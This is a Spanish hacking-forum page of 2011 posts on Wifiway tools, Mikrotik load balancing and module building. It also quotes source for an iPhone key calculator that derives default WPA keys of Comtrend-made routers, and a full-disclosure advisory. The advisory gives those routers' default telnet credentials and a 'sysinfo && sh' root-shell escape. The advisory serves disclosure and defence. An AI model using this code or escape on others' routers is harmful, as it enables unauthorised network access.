elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Temas
Páginas: 1 2 3 4 5 [6] 7 8
51  Seguridad Informática / Wireless en Linux / Cheat cube o cubo de trucos de wifiway en: 10 Julio 2011, 00:51 am
Buenas:

De naddia, me parece muy interesante  ;-) ;-) ;-)

Cubo de trucos o cheat cube, inspirado en los cubos de trucos de ubuntu, debian, fedora, suse y otros,
pero con los comandos adaptados a wifiway,



como se ve en la foto el cubo de trucos consiste en un recortable para cortar, montar y pegar, para tener los trucos a mano en un cubo,
el cubo contiene comandos utilizados usualmente y otros usados raramente, distribuidos en categorias,
util para aprender o para recordar comandos, recomendado para gente con alzeimer como yo,
todos los comandos tienen opciones alternativas, aconsejable mirar la ayuda o los manuales del programa para ampliar o cambiar opciones,
tambien se puede usar de guia sin imprimir y os lo podeis tomar tambien como una guia para empezar en wifiway.

la foto es un poco penosa de movil penoso y de fotografo mas penoso todavia, pero es solo para hacer una idea del tamaño y como queda montado.
queda algo asi-


aqui un enlace a la foto a imprimir alojada en imageshark-
http://img823.imageshack.us/img823/5341/wichcu.png

aqui un enlace a multiupload en 8 servidores por si la quitan de imageshark-
http://www.multiupload.com/XY87TGGFQX

creo que ha quedado bastante bien xD
sayonara
52  Seguridad Informática / Wireless en Linux / wifiway -2.0.3-alpha 1 ALPHA Testeo y reporte de bugs en: 7 Mayo 2011, 00:47 am
Buenas:

Version alpha, para que podais ir viendo lo que va a llevar y de paso nos ayudeis a buscarle fallos.
PROHIBIDO  :silbar: :silbar: :silbar:,que le metais modulos extras ... por que se pueden producir errores.

Quien quiera que la testee tal como esta  por favor

Casi todo lo que mas usais ya lo lleva,.

MD5 7713e8b9f687d7b504ace06b2bb13ac2


DESCARGA

http://ns2.elhacker.net/isos/
http://dl.dropbox.com/u/28397626/WIFIWAY-2.0.3-alpha1.iso
http://www.multiupload.com/OYCJCWP5GR
http://206.217.211.110/descargas/
53  Seguridad Informática / Wireless en Windows / MOVIDO: Necesito documentación sobre configuración de redes para script en: 4 Mayo 2011, 18:42 pm
El tema ha sido movido a Windows.

https://foro.elhacker.net/index.php?topic=326476.0
54  Seguridad Informática / Wireless en Linux / MOVIDO: kernels 2.6.3522, 2.6.35.28 y 2.6.35.29 en: 26 Abril 2011, 10:10 am
El tema ha sido movido a GNU/Linux.

https://foro.elhacker.net/index.php?topic=325656.0
55  Seguridad Informática / Wireless en Linux / Módulos Wifiway 2.0.2 en: 31 Marzo 2011, 23:34 pm
Buenas:

De naddia

No todos los programas de wifiway 2.0.1 funcionaran en wifiway 2.0.2 y no todos los programas de wifiway 2.0.2 funcionaran en wifiway 2.0.1.
La mayoria si funcionaran, pero todos no.
Tenerlo en cuenta.

He cambiado esto en color rojo y en bold porque hay gente que parece que no lo ve bien todavia.
Como ya sabeis de otros hilos de modulos, evitar comentar aqui cualquier duda, problemas, gracias o sugerencias y abrir un tema aparte para hacerlo.
Seguramente todos los comentarios que no tengan que ver directamente con descripciones o subidas de modulos seran borrados.





MODULO: NMap 5.51

DESCRIPCION:
Actualizacion a la version 5.51 de este programa que mediante una programacion estructural insumida consigue que la proyeccion central paralela se convierta en dinamica global integrada mediante la flexibilidad opcional teniendo en cuenta la retroaccion planificada y totalizada de la parte contratante.

COMENTARIOS Y OBSERVACIONES:
Esta version funciona en wifiway 2.0.2 pero no en 2.0.1
Aconsejable borrar versiones antiguas.
Crea acceso directo en menu, wifiway, redes.
Idioma ingles

Enlace de descarga
http://www.multiupload.com/1NFHLT9UMD

56  Seguridad Informática / Materiales y equipos / Manual: balanceo carga PCC con FAILover en: 27 Marzo 2011, 20:41 pm
Buenas:

Os pongo un manual realizado por el compañero Samuelongui de la página hermana de seguridadwireless (http://foro.seguridadwireless.net/mikrotik/manual-balanceo-carga-pcc-con-failover/msg194073/?topicseen#msg194073)

En este pequeño manual vamos a ver como hacer un balanceo de carga de 2 lineas ADSL sobre un equipo Mikrotik. En mi caso usaré el modelo RB450G, que cuenta con 5 puertos Ethernet, por lo que se podría hacer un balanceo de hasta 4 lineas. Para más lineas podéis usar modelos como el RB493 que tiene 9 puertos Ethernet o el RB1100 que si mal no recuerdo son hasta 13 puertos, pero no creo que necesitéis tanto, a no ser que deis servicio a 4 pueblos  ;)

Como no dispongo de 2 lineas ADSL en casa, debo dar las gracias a mi vecina por dejarme su red y poder trastear con estos aparatos. Gracias por dejarme comprobar que funciona  ;-)

Bueno, vamos al lío, que para eso estamos.

- Abrimos Winbox y vamos a nombrar las interfaces para tenerlas localizadas.


En mi caso por la ether1 entrada mi linea1 (llamada WAN1) y por la ether4 mi linea2 (llamada WAN4)

- Vamos a asignar IP's según los rangos de nestras ADSL


Mi ADSL es del rango 192.168.2.X por eso a la WAN1 le doy la IP 192.168.2.121/24, y la otra ADSL del rango 192.168.1.X por eso le doy a la WAN4 la IP 192.168.1.21/24. Si queréis le podéis poner un comentario para saber que hacéis.

Hasta ahora fácil, empieza el show  :D

- IP>FIREWALL>MANGLE




Empezamos marcando los paquetes para separar las conexiones. En esta parte nos encargamos de establecer que cada conexión que entra por un WLAN sale por el mismo (un problema común anteriormente era que una conexión podía entrar por WAN1 y salir por WAN2, ocasionando intermitencia del servicio y problemas de conectividad para el usuario). Marcaremos las conexiones para recordar mas adelante las interfaces (WAN1 y WAN4).




Repetimos esta regla según las ADSL que queramos balancear. En mi caso son 2, por lo que la he copiado y tan solo cambio el nombre de la marca de los paquetes (WAN2_IN - TO_WAN2).
Las lineas de comando superior asegurarán que el tráfico salga por el mismo lugar por donde entró.


En acción seleccionamos accept. Copiamos la regla y en Dst. Address seleccionamos el rango IP de nuestra otra ADSL, en mi caso 192.168.1.0/24

Las políticas de routeo nos permiten forzar el tráfico a que salga por un determinado Gateway (o puerta de enlace, en este caso WAN1 o WAN4), aunque el mismo se encuentre destinado a otra dirección (distinta al Gateway). Esto prevendrá la generación de Loops y problemas de conexión para el usuario. Para evitar que esto suceda tendremos que hacer uso de la routing table.








Copiamos la regla tal cual y en la siguiente cambiamos: per-connection-classifier=both-addresses:2/1. Y lógicamente las parcas de los paquetes (en mi caso WAN2_IN)

Mark-routing puede ser usando solo en mangle bajo las cadenas output and prerouting, pero la cadena prerouting está capturando todo el tráfico incluso el que está dirigido al mismo router. Para evitar este problema, en dst-address-type seleccionaremos Local, inverted.

- Con la ayuda de PCC (per connection clasiffier) dividiremos el tráfico en dos ramas o flujos iguales basados en el origen y destino de las direcciones.




Copiamos la regla segúna las ADSL que tengamos, con esto indicaremos que todo lo que entre por una WAN salga por la misma.

Si estáis haciendo la prueba con 2 ADSL como yo, así es como os debería quedar la pestaña Mangle:



- Nos dirigimos a IP>ROUTES


Copiamos la regla y cambiamos los valores de Gateway y Routing Mark y ponéis los que correspondan con vuestras ADSL (en mi caso 192.168.1.1 - TO_WAN2)

- Añadimos esta nueva regla:


Copiamos la regla segúna las ADSL a balancear y le cambiamos el valor Distance (esto indica la prioridad de la ethernet sobre la cual se hace ping antes de salir a internet. El valor 1 indica prioridad sobre el 2, y sucesivos).

- En resumen os debería quedar algo así (mirar lo seleccionado en azul, las otras routas son de otra cosa):



- Venga, que ya terminamos. Ahora vamos a IP>FIREWALL>NAT para crear una regla de paso de internet sobre las WAN que hayamos configurado:




Copiar la regla para las distintas interfaces que tengáis configuradas como WAN. De este modo le estamos diciendo que todo lo de WAN1 y WAN4 va a tener salida a internet (en mi caso). Todo el tráfico que pase por nuestra red tiene la posibilidad de salir por cualquiera de las dos interfaces WAN.

Un problema que nos encontramos con el FAILover, es que hacemos ping a la Gateway (IP del router ADSL). Si el router está encendido pero la conexión ADSL está caída (culpa del proveedor) o el cable teléfonico desconectado o en mal estado, nuestro Mikrotik reconoce que hay ping (obtiene respuesta), saca los paquetes por esa Gateway pero se pierden (no hay ADSL al otro lado). Para solucionar este fallo o problema, podemos poner nuestro router en Bridge y crear un cliente PPPoE en las interfaces según los datos de nuestro proveedor. De este modo no haríamos ping a la Gateway del router ADSL (está en Bridge, es decir, como "tonto"), sino que hacemos ping a nuestra Gateway externa, es decir, la de nuestro proveedor, y si esa Gateway está caída (fallo de nuestro proveedor y no de nuestro router), el Mikrotik no obtiene respuesta y en vez de sacar los paquetes por esa Gateway los saca por otra.

Una manera de comprobar que el balanceo funciona, es abrir con Internet Explorer la dirección http://www.miip.es/ y sin cerrar, abrir con Firefox otra vez la dirección http://www.miip.es/ Debería entregaros IP's distintas (primero la de un proveedor y luego la de otro).

Otra forma es poner una radio online tipo http://www.m80radio.com/multimedia/radios.html desconectar una de las entradas WAN al Mikrotik. Se os cortará la música pero al cabo de unos 10", si todo va bien, se restablecerá, ya que pasaréis de una conexión a otra.

Espero que no os resulte dificil seguir el manual, es más largo de lo que parece. Y sobre todo espero haberme explicado lo mejor posible y sea fácil de entender.

Un saludo.
57  Comunicaciones / Hacking Mobile / WLAN_AUDIT para Iphone y su codigo fuente en: 9 Marzo 2011, 09:50 am
Buenas:

Yo no se si puede interesar para ir implementando los diccionarios que han ido saliendo....

Roberto Estrada




WLAN AUDIT para iphone esta en el cydia

codigo fuente: https://github.com/Robertoestrada/WLAN-audit






Citar
/*
* KeyCalculator.m
*
* Copyright 2011 Roberto Estrada
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 3 as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#import <CommonCrypto/CommonDigest.h>
#import "KeyCalculator.h"


@implementation KeyCalculator

+ (NSString *) md5:(NSString *)str {
const char *cStr = [str UTF8String];
unsigned char result[16];
CC_MD5( cStr, strlen(cStr), result );
return [NSString stringWithFormat:
@"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
result[0], result[1], result[2], result[3],
result[4], result[5], result[6], result[7],
result[8], result[9], result[10], result[11],
result[12], result[13], result[14], result[15]
];
}

+(NSString*) calculateKeyWithESSID:(NSString*) essid BSSID:(NSString*) bssid {
NSString *trimmedBSSID = [bssid stringByReplacingOccurrencesOfString:@":" withString:@""];
NSString *formattedESSID = nil;
// Removing name from the ESSID, we only want the numbers
if ([essid rangeOfString:@"JAZZTEL_"].location != NSNotFound) {
formattedESSID = [[essid stringByReplacingOccurrencesOfString:@"JAZZTEL_" withString:@""] uppercaseString];
}else if ([essid rangeOfString:@"WLAN_"].location != NSNotFound) {
formattedESSID = [[essid stringByReplacingOccurrencesOfString:@"WLAN_" withString:@""] uppercaseString];
}
if (formattedESSID == nil) {
return nil;
}
// Key calculation
NSRange rng = {0,8};
NSString *stringToHash = [NSString stringWithFormat:@"%@%@%@%@",@"bcgbghgg",[trimmedBSSID substringWithRange:rng],formattedESSID,trimmedBSSID];
// Hashing
NSRange resultrange = {0,20};
NSString *result = [[[self md5:stringToHash] substringWithRange:resultrange]lowercaseString];
return result;
}



@end


Un saludo

ChimoC
58  Seguridad Informática / Hacking Wireless / Fallo de seguridad en routers COMTREND - FULL DISCLOSURE: WPA al descubierto en: 8 Marzo 2011, 23:59 pm
Buenas:

By Mambostar y *dudux

http://foro.seguridadwireless.net/comunicados-y-noticias/fallo-de-seguridad-en-routers-comtrend-full-disclosure/

=======================================
FULL DISCLOSURE - Seguridadwireless.net
Fecha descubrimiento: 24/11/2010
Ultima revisión: 08/03/2011
Descubridor: Seguridadwireless.net
=======================================

http://www.seguridadwireless.net

FALLO DE SEGURIDAD EN ROUTERS COMTREND

El patrón para generar la clave WPA-PSK por defecto de los routers COMTREND se encuentra "a la vista" en el sistema de archivos.

1.- Introducción

De todos es conocido que el cifrado WEP como protección para redes wireless es totalmente inseguro y por ello tanto fabricantes como ISP han empezado a configurar en sus dispositivos cifrados más robustos como WPA/WPA2 en sus diferentes variantes.

No obstante la utilización de claves por defecto generadas durante el proceso de fabricación, instalación y configuración hacen a estos dispositivos especialmente vulnerables una vez que se ha averiguado el patrón o el algoritmo con el que son generadas las citadas claves y más si este patrón o algoritmo es usado de manera masiva por el fabricante en diferentes modelos de routers que a su vez son distribuidos por diferentes ISP a usuarios finales.

2.- Descripción del fallo de seguridad

El fallo de seguridad es ocasionado por la incorrecta limpieza de los archivos creados durante la generación de la clave WPA-PSK y que hacen que estos archivos, en principio archivos temporales a eliminar una vez creada la clave, permanezcan en el sistema de archivos del router.

3.- Modelos afectados

Confirmada la existencia de los archivos no eliminados que permiten averiguar el patrón en el modelo de COMTREND CT-5365

Confirmada la utilización del mismo patrón para el modelo de COMTREND AR5381U,

Posiblemente también haya otros modelos afectados.

4.- How to...

Abrir una consola de linea de comandos y hacer un telnet a la IP del router, por defecto 192.168.1.1 y con user/pass 1234/1234.

Veremos por el prompt (>) que estamos en un entorno limitado y con "help" comprobamos que solo tenemos unos pocos comandos a nuestro alcance. Es facil escapar a este entorno limitado concatenando comandos (sysinfo && sh). Una vez ejecutado el comando anterior el prompt cambia a (#) y ya tenemos una consola con privilegios de root "real".

Comprobamos que los comandos "ls" y "cd" no funcionan ya que han sido eliminados del sistema de archivos por el fabricante, para poder listar el sistema de archivos y sus diferentes directorios vamos a utilizar un ls casero mediante la siguiente sentencia "for l in /*; do echo $l; done".

Una vez listado el directorio /var con "for l in /var/*; do echo $l; done" veremos dos archivos que llaman poderosamente la atención, /var/md5encode y /var/md5result.

Con un cat /var/md5encode obtenemos el patrón utilizado por el fabricante (bcgbghgg+mac+bssid) para generar un hash md5.

Con cat /var/md5result vemos y confirmamos que es el hash md5 del patrón anterior y cuyos 20 primeros caracteres son utilizados como clave WPA-PSK por defecto.


5.- Solución

Cambiar la clave WPA-PSK "de fábrica" por una propia.

6.- TimeLine

* 24/11/2010 - Se detecta el fallo en los routers CT-5365 de Telefónica (Movistar)
* 25/11/2010 - Se comprueba el mismo fallo en los routers de Jazztel
* 26/11/2010 - Se confirma la existencia del mismo patrón de generación de la clave WPA-PSK en ambos Operadores.
* 01/12/2010 - Se contacta con el fabricante Comtrend y se le informa del fallo.
* 08/12/2010 - Sin respuesta del fabricante, se envía de nuevo el correo.
* 15/12/2010 - Sin respuesta del fabricante, se emite aviso de seguridad.
* 15/12/2010 - Contacto con el fabricante.
* 07/01/2001 - Reunión y firma de NDA con el fabricante.
* 22/01/2011 - Se publica un comunicado oficial sobre el fallo de seguridad.
* 26/01/2011 - Otras personas ajenas a SW descubren el fallo pero no lo hacen público de momento.
* 26/01/2011 - Contacto con el representante de Comtrend donde reafirmamos nuestra postura sobre lo acordado.
* 04/02/2011 - Una fuente anónima publica el código donde se puede ver el patrón para descubrir la clave WPA.
* 04/02/2011 - Comunicado oficial de SW sobre la publicación del algoritmo de generación de claves WPA por parte de la fuente anónima.
* 09/02/2011 - Nuevo Comunicado oficial ampliando detalles sobre el proceso seguido hasta ahora.
* 08/03/2011 - Expira el NDA firmado con el fabricante, FULL DISCLOSURE.

7.- Agradecimientos

A hitz del foro de adslayuda por su "ls casero" en su ya antiguo post:
http://www.adslayuda.com/foro/routers-adsl/comtrend-511-535-536-561-562/accesso-ssh-al-ct-536-t89532.html#p360160

A Google, por supuesto, que nos permitió buscar lo anterior.

A todos los que confiaron en nosotros, gracias por estar ahí.


-----------------------------

FULL DISCLOSURE

Apendice

Una vez que hemos encontrado el patrón en esos archivos que no se han eliminado, veamos por donde anda ese string en el firmware.

Esto es una captura del archivo libpsi.so editado con el Bless Hex Editor



Podemos apreciar en la imagen:

- El ESSID -> WLAN_%02X%02X
- La clave WEP por defecto-> C%02X%02X%02X%02X%02X%02X formada por la inicial del fabricante (C) de comtrend en mayúscula + la mac de lan, ready for wlandecrypter.
- Como envía la salida de ifconfig para wl0 (interfaz wireless) a /var/hwaddr
- La semilla bcgbghgg
- Y en resumen como se genera la clave mandando todo a /var/md5encode y luego un md5sum con salida a /var/md5result.

Nota final

Como curiosidad BCGBGHGG es la contraseña mágica de algunos modelos de router de Comtrend para acceder al modo de depuración avanzado por consola vía RS232.

http://forums.whirlpool.net.au/archive/306047

Saludos

-------------------------------------






El post de Comtrend --> http://foro.elhacker.net/hacking_wireless/descifrar_redes_wlanxxxx_y_jazztelxxxx-t318501.0.html
59  Seguridad Informática / Hacking Wireless / Clave por defecto WPA-PSK de las redes wireless WLAN_XXXX de los routers ZYXEL en: 5 Marzo 2011, 00:03 am
Buenas:

Clave por defecto WPA-PSK de las redes wireless WLAN_XXXX de los routers ZYXEL P660HW-B1A (MAC tipo 00:1f:a4:xx:xx:xx )

Esta prueba de concepto tendra fecha de caducidad

Podeis usar el siguiente formulario para realizar una recuperación de claves valida de vuestros propios equipos.
Si observa este formulario de una pagina
ajena a www.seguridadwireless.net
es una vulgar copia de la cual no podemos garantizar su validez.
Fijese bien en la ruta de su navegador.

http://www.seguridadwireless.net/wpamagickey.php

Un saludo

ChimoC
60  Seguridad Informática / Wireless en Linux / Como crear módulos en Wifiway 2 correctamente en: 12 Enero 2011, 23:21 pm
Buenas:

De elmanuvolador
Creacion de Modulos .lzm (sq4) para Wifiway 2



Buenas, este tutorial es para crear módulos .lzm para wifiway de una manera más correcta de lo habitual.

Que conseguimos con este metodo?

De este modo podemos tener una lista completa de aplicaciones y librerías instaladas en /var/log/packages, además cuando se instalen actualizaciones de aplicaciones, poder desinstalar las versiones antiguas de manera sencilla así como poder desinstalar paquetes que no nos interesen de la live.

Como ejemplo vamos a actualizar grep, de la versión grep-2.5.3 que tenemos en /var/log/packages a la version grep-2.7, que es la más actual al dia de hoy.

Antes de empezar deveis descagar este modulo y cargarlo, o bien metiendolo en la carpeta wifiway/modules y reiniciar el sistema, o utilizando la opcion del menu contestual Use wifiway Module

1-Instalacion de la aplicacion:

-Primero nos descargamos grep-2.7.tar.gz y lo colocamos en el directorio /root

-una vez tengamos grep-2.7.tar.gz en root, abrimos una shell y lo descomprimimos:

Código:
tar xzf /root/grep-2.7.tar.gz

-una vez descomprimido entramos en el directorio grep-2.7:

Código:
cd grep-2.7

-creamos un nuevo directorio en grep-2.7 que lo llamaremos BUILD:

Código:
mkdir BUILD

-ahora copilamos:

Código:
./configure
make

-seguidamente creamos la estructura de archivos pero en el directorio BUILD:

Código:
make install DESTDIR=/root/grep-2.7/BUILD

NOTA: esto es solo un ejemplo ya que no todas las aplicaciones se intalan igual, depende de muchas cosas como puede ser el lenguage de programacion. Para cambiar la ruta de instalacion con python, seria algo asi:

Código:
python setup.py --root=/root/grep-2.7/BUILD

Lo importante es tener en un directorio toda la estructura de archivos de la aplicacion, cada uno que lo haga a su manera

2-Crear el paquete .tgz:

-ahora ya tenemos los archivos necesarios para crear el paqute .tgz, así que entramos en BUILD:

Código:
cd BUILD

-Abrimos una shell en BUILD (f4) y creamos el paquete .tgz en root:

Código:
makepkg /root/grep-2.7.tgz

3-Pasar un paquete .tgz a modulo .lzm:

-bueno ya tenemos nuestro paquetito .tgz, pero ahora queremos pasarlo a .lzm para que sea compatible con wifiway

-Abrimos una shell (f4) y ejecutamos el siguiente comando:

Código:
tgz2lzm /root/grep-2.7.tgz /root/grep-2.7.lzm

-Así conseguimos un .lzm con el nombre del paquete instalado en /var/log/packages

4-Eliminacion de un paquete .tgz:

-seguidamente pasamos a desinstalar el paquete antiguo grep-2.5.3-i486-5.

-Buscamos donde se encuentra este paquete en los módulos de wifiway, lo podéis mira rápidamente en /mnt/live/memory/images/ , en este caso grep-2.5.3-i486-5 se encuentra en 1.001-core.lzm

-descomprimimos el modulo 1.001-core.lzm en root y seguidamente desinstalamos el paquete con este comando:

Código:
ROOT=/root/1.001-core removepkg grep-2.5.3-i486-5

Ahora ya se puede volver a comprimir el 1.001-core.lzm sin el grep-2.5.3 o bien podemos meter los archivo del nuevo grep-2.7 en 1.001-core y después comprimirlo todo junto.

NOTA: El paso 4 no es necesario si lo que queremos es hacer un modulo independiente, esta puesto mas bien a nivel informativo por si quereis modificar cosas en vuestra live.

Esto es todo amigos, Saludos.

elmanuvolador



EDITADO: Gracias cotiess...... ;) ;) ;)
Páginas: 1 2 3 4 5 [6] 7 8
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines